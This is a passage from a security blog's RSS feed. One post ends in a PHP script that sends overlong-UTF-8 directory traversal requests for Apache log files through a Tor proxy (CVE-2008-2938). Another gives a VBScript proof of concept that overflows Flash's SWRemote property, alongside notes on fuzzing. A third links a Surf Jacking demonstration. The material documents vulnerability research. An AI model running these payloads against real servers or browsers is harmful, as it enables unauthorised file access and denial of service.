&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/error_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/access_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/access_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/access_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/access_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/error_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/error_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/error_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/access_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/error_log&amp;quot;&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
function wrap($url){&lt;br /&gt;
&lt;br /&gt;
$ua = array(&amp;#039;Mozilla&amp;#039;,&amp;#039;Opera&amp;#039;,&amp;#039;Microsoft Internet Explorer&amp;#039;,&amp;#039;ia_archiver&amp;#039;);&lt;br /&gt;
$op = array(&amp;#039;Windows&amp;#039;,&amp;#039;Windows XP&amp;#039;,&amp;#039;Linux&amp;#039;,&amp;#039;Windows NT&amp;#039;,&amp;#039;Windows 2000&amp;#039;,&amp;#039;OSX&amp;#039;);&lt;br /&gt;
$agent  = $ua[rand(0,3)].&amp;#039;/&amp;#039;.rand(1,8).&amp;#039;.&amp;#039;.rand(0,9).&amp;#039; (&amp;#039;.$op[rand(0,5)].&amp;#039; &amp;#039;.rand(1,7).&amp;#039;.&amp;#039;.rand(0,9).&amp;#039;; en-US;)&amp;#039;;&lt;br /&gt;
&lt;br /&gt;
        # proxy&lt;br /&gt;
        $tor = &amp;#039;127.0.0.1:8118&amp;#039;;&lt;br /&gt;
        $timeout = &amp;#039;300&amp;#039;;&lt;br /&gt;
        $ack = curl_init(); &lt;br /&gt;
        curl_setopt ($ack, CURLOPT_PROXY, $tor); &lt;br /&gt;
        curl_setopt ($ack, CURLOPT_URL, $url);&lt;br /&gt;
        curl_setopt ($ack, CURLOPT_HEADER, 1);  &lt;br /&gt;
        curl_setopt ($ack, CURLOPT_USERAGENT, $agent); &lt;br /&gt;
        curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1); &lt;br /&gt;
        curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);&lt;br /&gt;
        curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);&lt;br /&gt;
&lt;br /&gt;
        $syn = curl_exec($ack);&lt;br /&gt;
        $info = curl_getinfo($ack);&lt;br /&gt;
        curl_close($ack);&lt;br /&gt;
        &lt;br /&gt;
    if($info[&amp;#039;http_code&amp;#039;] == &amp;#039;200&amp;#039;) {&lt;br /&gt;
        return $syn;&lt;br /&gt;
        die();&lt;br /&gt;
      } else {&lt;br /&gt;
    return &amp;quot;Fail! :&amp;quot;.$info[&amp;#039;http_code&amp;#039;].&amp;quot;\r\n&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    for($i=0;$i&amp;lt;count($dir);$i++) {&lt;br /&gt;
       echo wrap($url.&amp;quot;:8080/&amp;quot;.$dir[$i]);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
[1] &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938&quot;&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938&lt;/a&gt;</description>
      <link>http://www.0x000000.com/?i=308</link>
	  <guid>http://www.0x000000.com/?i=308</guid>
</item>  
<item>
      <title>Flash, Fuzzing and Girls.</title>
      <description> A short update of developments this week. Let&amp;#039;s start with how to impress girls.&lt;br /&gt;
&lt;br /&gt;
I just read some slides from Blackhat, and one that caught my interest was the slides from Mark Dowd and Alexander Sotirov[1]. I guess I don&amp;#039;t have to explain who those gentlemen are. Right, now what caught my eye was a mention about the use of verbatim dll pointers in an object. Usually, with ActiveX we load the classid followed by the id that links to the dll. In this case, they just load the dll into the object and that raises no warning in the Internet Zone. Clearly this is some very notable find and certainly material to impress girls with, because I never assumed that that was possible. It shows again that a solution is always in it&amp;#039;s environment. It&amp;#039;s simple, but brilliant.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Loading verbatim dll&amp;#039;s:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;object classid=&amp;quot;ControleName.dll#NameSpace.ClassName&amp;quot;&amp;gt;&amp;lt;/object&amp;gt;&lt;/pre&gt;&lt;br /&gt;
That is only one tiny part of the paper, go read it if you are interested. It is a real eyeopener. It covers:&lt;br /&gt;
&lt;br /&gt;
   - &quot;Stack Spraying&quot;, an alternative method to heap spraying with some additional benefits&lt;br /&gt;
    - Exploiting poor permissions, such as Java&amp;#039;s RWX memory allocator, and&lt;br /&gt;
    - Utilizing .NET binaries to map data at an attacker-controlled memory location.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Adobe fixes heap corruption.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Some time ago, I found that the Flash9c.ocx was vulnerable to heap corruption, and that it&amp;#039;s possible to overflow the SWRemote property inside the Flash9c.ocx Interface with a very long string generated in VBscript. In my test case it ran for about 30 seconds before crashing and raising an exception, when trying to kill it, it could  result in a full system freeze. After updating Flash It seems Adobe fixed this silently in at least Flash9f.ocx. A real bummer for personal research. I cannot reproduce it anymore, because I did not make a copy of Flash9c.ocx for future research. Anyway I learned to make copies now. &lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;br /&gt;
Interface IShockwaveFlash : IDispatch&lt;br /&gt;
Default Interface: True&lt;br /&gt;
Members : 93&lt;br /&gt;
	Quality&lt;br /&gt;
	ScaleMode&lt;br /&gt;
	AlignMode&lt;br /&gt;
	BackgroundColor&lt;br /&gt;
	Movie&lt;br /&gt;
	FrameNum&lt;br /&gt;
	SetZoomRect&lt;br /&gt;
	Zoom&lt;br /&gt;
	Pan&lt;br /&gt;
	GotoFrame&lt;br /&gt;
	FrameLoaded&lt;br /&gt;
	WMode&lt;br /&gt;
	SAlign&lt;br /&gt;
	Base&lt;br /&gt;
	Scale&lt;br /&gt;
	BGColor&lt;br /&gt;
	Quality2&lt;br /&gt;
	LoadMovie&lt;br /&gt;
	TGotoFrame&lt;br /&gt;
	TGotoLabel&lt;br /&gt;
	TCurrentFrame&lt;br /&gt;
	TCurrentLabel&lt;br /&gt;
	TPlay&lt;br /&gt;
	TStopPlay&lt;br /&gt;
	SetVariable&lt;br /&gt;
	GetVariable&lt;br /&gt;
	TSetProperty&lt;br /&gt;
	TGetProperty&lt;br /&gt;
	TCallFrame&lt;br /&gt;
	TCallLabel&lt;br /&gt;
	TSetPropertyNum&lt;br /&gt;
	TGetPropertyNum&lt;br /&gt;
	TGetPropertyAsNumber&lt;br /&gt;
	SWRemote&lt;br /&gt;
	FlashVars&lt;br /&gt;
	AllowScriptAccess&lt;br /&gt;
	MovieData&lt;br /&gt;
	ProfileAddress&lt;br /&gt;
	ProfilePort&lt;br /&gt;
	CallFunction&lt;br /&gt;
	SetReturnValue&lt;br /&gt;
	AllowNetworking&lt;br /&gt;
	AllowFullScreen&lt;br /&gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;SWRemote&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The property SWRemote inside Flash9x.ocx interface obtains a string passed through the object:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;Property Let SWRemote  As String&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;The proof of concept was:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;object classid=&amp;#039;clsid:D27CDB6E-AE6D-11CF-96B8-444553540000&amp;#039; id=&amp;#039;foo&amp;#039;&amp;gt;&lt;br /&gt;
   &amp;lt;param name=&amp;quot;src&amp;quot; value=&amp;quot;foo.swf&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/object&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;object classid=&amp;#039;clsid:D27CDB6E-AE6D-11CF-96B8-444553540000&amp;#039; id=&amp;#039;bar&amp;#039;&amp;gt;&lt;br /&gt;
   &amp;lt;param name=&amp;quot;src&amp;quot; value=&amp;quot;foo.swf&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/object&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script type=&amp;#039;text/vbscript&amp;#039;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
long=String(100000000,&amp;quot;X&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
foo.SWRemote=long&lt;br /&gt;
bar.SWRemote=long&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Live trace:&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;http://0x000000.com/images/kernel32.gif&quot; border=&quot;0&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
Now the interesting thing about this is, I fuzzed all classes in that particular dll without regard if they were considered fuzzable or not. It turns out that, in blackbox fuzzing you can find vulnerabilities that you would not find while fuzzing on assumptions, like COMraider does for example. Secondly, I used two flash objects, or two dll class calls. That made a difference in finding this vulnerability. HD Moore once said that you&amp;#039;ll have to know what to fuzz for. This is true in some sense, because it speeds up your fuzzing. But the drawback is, that you cannot encompass all possibilities and quirks. The very vulnerabilities you look for might be not fuzzable without hammering all classes whether they are fuzzable or not, because it turned out that it certainly was in this case.&lt;br /&gt;
&lt;br /&gt;
[1] &lt;a href=&quot;http://taossa.com/archive/bh08sotirovdowdslides.pdf&quot;&gt;http://taossa.com/archive/bh08sotirovdowdslides.pdf&lt;/a&gt;</description>
      <link>http://www.0x000000.com/?i=307</link>
	  <guid>http://www.0x000000.com/?i=307</guid>
</item>  
<item>
      <title>Surf Jack.</title>
      <description> I got into contact with Sandro from enablesecurity a couple of times before. But the last time I talked with him he gave a very interesting concept that I haven&amp;#039;t saw before. He called it: Surf Jacking, HTTPS will NOT save you[1]. Well, what can I say, given the DNS mayhem that is going on lately, this is another hot coal that should be understand by everyone in the security industry before attackers will start to use it in the wild.&lt;br /&gt;
&lt;br /&gt;
Watch the video by Sandro Gauci from enablesecurity demonstrating Surf Jack:&lt;br /&gt;
&lt;br /&gt;
&lt;object width=&quot;730&quot; height=&quot;414&quot;&gt;	&lt;param name=&quot;allowfullscreen&quot; value=&quot;true&quot; /&gt;	&lt;param name=&quot;allowscriptaccess&quot; value=&quot;never&quot; /&gt;	&lt;param name=&quot;movie&quot; value=&quot;http://www.vimeo.com/moogaloop.swf?clip_id=1507697&amp;amp;server=www.vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1&quot; /&gt;	&lt;embed src=&quot;http://www.vimeo.com/moogaloop.swf?clip_id=1507697&amp;amp;server=www.vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot; allowscriptaccess=&quot;never&quot; width=&quot;730&quot; height=&quot;414&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;a href=&quot;http://www.vimeo.com/1507697?pg=embed&amp;amp;sec=1507697&quot;&gt;Surf Jacking Gmail demonstration&lt;/a&gt; from &lt;a href=&quot;http://www.vimeo.com/user665968?pg=embed&amp;amp;sec=1507697&quot;&gt;Sandro Gauci&lt;/a&gt; on &lt;a href=&quot;http://vimeo.com?pg=embed&amp;amp;sec=1507697&quot;&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
[1] &lt;a href=&quot;http://enablesecurity.com/2008/08/11/surf-jack-https-will-not-save-you/&quot;&gt;http://enablesecurity.com/2008/08/11/surf-jack-https-will-not-save-you/&lt;/a&gt;</description>
      <link>http://www.0x000000.com/?i=306</link>
	  <guid>http://www.0x000000.com/?i=306</guid>
</item>  
  
</channel>
</rss>